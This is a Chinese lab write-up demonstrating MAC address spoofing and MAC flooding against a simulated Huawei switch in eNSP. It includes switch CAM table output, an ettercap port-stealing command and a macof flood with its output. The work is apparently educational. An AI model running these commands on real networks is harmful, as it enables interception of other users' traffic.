MAC地址欺骗和MAC地址泛红攻击,是很古老的二层攻击手法,现在也很少用在网络攻击实战中,但对于其攻击原理却很值得学习,本文通过eNSP抓包的实践方式,充分学习了这两种攻击的手段,使我们对二层网络攻击有了更深刻的理解。
1、攻击原理:
MAC地址欺骗是数据链路层攻击,它是利用交换机端口学习的漏洞,通过客户端向交换机发送欺骗报文、攻击交换机的CAM表的方式,使交换机CAM表的记录与真实的主机对应MAC地址不一致,从而使交换机将报文错误转发给攻击者。
2、交换机的端口学习是如何进行的?又有何漏洞?我们实验先来了解一下。
(1)首先,我们在交换机LSW1上执行命令,清空交换机的CAM表,此时查看CAM表,内容为空。
[Huawei]undo mac-address all
[Huawei]display mac-address
[Huawei]
(2)我们从PC1上向PC2发一个构造的udp包,如图。
此时查看交换机的CAM表,发现已经学习了一条记录。
[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address VLAN/ PEVLAN CEVLAN Port Type LSP/LSR-ID
VSI/SI MAC-Tunnel
-------------------------------------------------------------------------------
5489-98dd-6106 1 - - Eth0/0/1 dynamic 0/-
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 1
我们再构造一个数据包,由PC1发给PC2,源MAC地址换成kali的MAC地址00-0c-29-6c-fc-6e。
再次查看交换机CAM表,发现交换机将kali的mac地址与Eht0/0/1绑定。
[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address VLAN/ PEVLAN CEVLAN Port Type LSP/LSR-ID
VSI/SI MAC-Tunnel
-------------------------------------------------------------------------------
000c-296c-fc6e 1 - - Eth0/0/1 dynamic 0/-
5489-98dd-6106 1 - - Eth0/0/1 dynamic 0/-
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 2
由上,我们得到结论,交换机从某个端口收到一个数据包,它先读取包头中的源MAC地址,这样他就知道源MAC地址来自哪个端口,它会在CAM表中添加一条端口和MAC地址对应的记录。这种工作很高效,但如果交换机接收到了客户端伪造的源MAC地址的数据包,交换机同样也会将伪造的记录添加到CAM表中,作为信任的记录,这样就形成了MAC地址欺骗的漏洞。
【补充20200418】
上述的发包方式,虽然可以达到欺骗目的,但由于目的mac地址随机设置,交换机在接收到CAM表没有的MAC地址后,会以广播包的形式转发到网络中,这样网络中会产生大量的网络包,容易被受害者发现。因此,针对这种情况,可以将目标MAC地址设置为欺骗者本身的MAC地址,源MAC地址设置为受害者的MAC地址。同时,此过程可以使用工具ettercap实现,具体命令如下。
ettercap -T -q -M port:remote /192.168.253.164//
3、明白了交换机端口学习的原理,我们现在来伪造数据包,造成MAC地址欺骗,同时准备以下三个条件,如下图。
(1)在PC1上伪造源MAC为kali的MAC地址00-0c-29-6c-fc-6e,不停的发UDP包给PC2。
(2)在LSW1的Ehternet 0/0/1和Ethenet 0/0/3端口同时抓包。
(3)在PC2构造PC2到kali的数据包。
正常无欺骗的情况,LSW1的Ethenet 0/0/3端口可以抓到(3)过程的包。如果欺骗成功,则抓不到包,而是在LSW1的Ethenet 0/0/1端口上可以抓到该包。
构造的(1)过程中PC1周期发送如下图UDP报文
构造的(3)过程中PC2发给kali的数据包
LSW1的Ehternet 0/0/1抓包结果(点击下载)
LSW1的Ehternet 0/0/3抓包结果
由此可见,原本由PC2发给kali的数据包,被PC1欺骗交换机后,交换机将报文转发给了PC1,这样PC1成功完成了MAC地址欺骗攻击。
1、漏洞原理
每台交换机的CAM表都有最大记录条数,当交换机端口学习得到的记录大于交换机CAM表条数上限时,交换机收到一个网络帧,只要其目的站的MAC地址不存在于该交换机CAM表中,那么该帧会以广播的方式发向交换机的每一个端口,此时的交换机就相当于一个集线器HUB,我们就可以监听网络中的所有通讯报文。
2、攻击过程
以kali为攻击机,使用macof命令向网络中发送大量网络不存在的源mac地址,堵塞交换机的CAM表。
root@secwand:~#apt-get install dsniff #安装macof
root@secwand:~# macof
de:f0:1b:1c:6f:8e ba:8d:41:6:3d:7a 0.0.0.0.25215 > 0.0.0.0.49125: S 475078686:475078686(0) win 512
ea:38:be:33:e5:aa 4d:ce:29:60:3c:2f 0.0.0.0.39934 > 0.0.0.0.238: S 1559529363:1559529363(0) win 512
b5:ea:9a:4:2d:1c 3:33:5f:73:fa:d2 0.0.0.0.58068 > 0.0.0.0.18986: S 697518561:697518561(0) win 512
31:1f:6c:72:6f:80 7c:a8:df:55:99:25 0.0.0.0.29320 > 0.0.0.0.56619: S 444895901:444895901(0) win 512
2:47:e7:37:ca:19 a9:73:33:66:61:2d 0.0.0.0.54528 > 0.0.0.0.25861: S 993143653:993143653(0) win 512
3b:75:bd:54:e7:55 4d:d1:68:4:5a:f0 0.0.0.0.28814 > 0.0.0.0.35766: S 1430997091:1430997091(0) win 512
e7:81:bb:79:4b:af df:ed:92:76:fe:79 0.0.0.0.59194 > 0.0.0.0.18284: S 1586191808:1586191808(0) win 512
9b:28:c8:4d:35:bb 4c:d2:d9:5b:3f:d0 0.0.0.0.46568 > 0.0.0.0.15767: S 1249153469:1249153469(0) win 512
13:6:d:71:2a:26 5f:82:7:70:d6:4c 0.0.0.0.41050 > 0.0.0.0.34579: S 1375163656:1375163656(0) win 512
94:cb:82:1f:a2:22 2e:4:26:69:88:cf 0.0.0.0.44712 > 0.0.0.0.33754: S 1652107051:1652107051(0) win 512
3f:7c:f7:1b:7:80 13:53:17:53:5c:c6 0.0.0.0.48520 > 0.0.0.0.34351: S 585705839:585705839(0) win 512
3、此时在交换机查看CAM表,发现表中大量陌生MAC地址记录,同时根据端口绑定可以看到绑定来自Ethernet0/0/3,说明这个攻击来自这接口。
[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address VLAN/ PEVLAN CEVLAN Port Type LSP/LSR-ID
VSI/SI MAC-Tunnel
-------------------------------------------------------------------------------
0050-56c0-0008 1 - - Eth0/0/3 dynamic 0/-
0050-56eb-c57d 1 - - Eth0/0/3 dynamic 0/-
5489-985d-0598 1 - - Eth0/0/2 dynamic 0/-
5489-98dd-6106 1 - - Eth0/0/1 dynamic 0/-
0050-56ef-dc6d 1 - - Eth0/0/3 dynamic 0/-
000c-296c-fc6e 1 - - Eth0/0/3 dynamic 0/-
feef-5464-ecad 1 - - Eth0/0/3 dynamic 0/-
eaaa-9473-1926 1 - - Eth0/0/3 dynamic 0/-
22a6-7027-c5f4 1 - - Eth0/0/3 dynamic 0/-
7019-0f73-c876 1 - - Eth0/0/3 dynamic 0/-
2eef-313b-f53f 1 - - Eth0/0/3 dynamic 0/-
5682-5743-45c8 1 - - Eth0/0/3 dynamic 0/-
7670-c168-505e 1 - - Eth0/0/3 dynamic 0/-
8aaa-ba4f-489d 1 - - Eth0/0/3 dynamic 0/-
a6a8-2d2a-73a7 1 - - Eth0/0/3 dynamic 0/-
120c-2355-b4b5 1 - - Eth0/0/3 dynamic 0/-
5833-be1f-0aa6 1 - - Eth0/0/3 dynamic 0/-
f438-0117-c0dc 1 - - Eth0/0/3 dynamic 0/-
dee0-7b40-1207 1 - - Eth0/0/3 dynamic 0/-
4af0-244c-25d9 1 - - Eth0/0/3 dynamic 0/-
f4d0-e92b-4fd5 1 - - Eth0/0/3 dynamic 0/-
2859-7003-3924 1 - - Eth0/0/3 dynamic 0/-
86ea-0825-52a2 1 - - Eth0/0/3 dynamic 0/-
a4fd-c13a-8c3c 1 - - Eth0/0/3 dynamic 0/-
---- More ----
4、实际网络攻击中,已经很少使用MAC地址泛洪攻击,当这种攻击的原理仍然值得我们学习。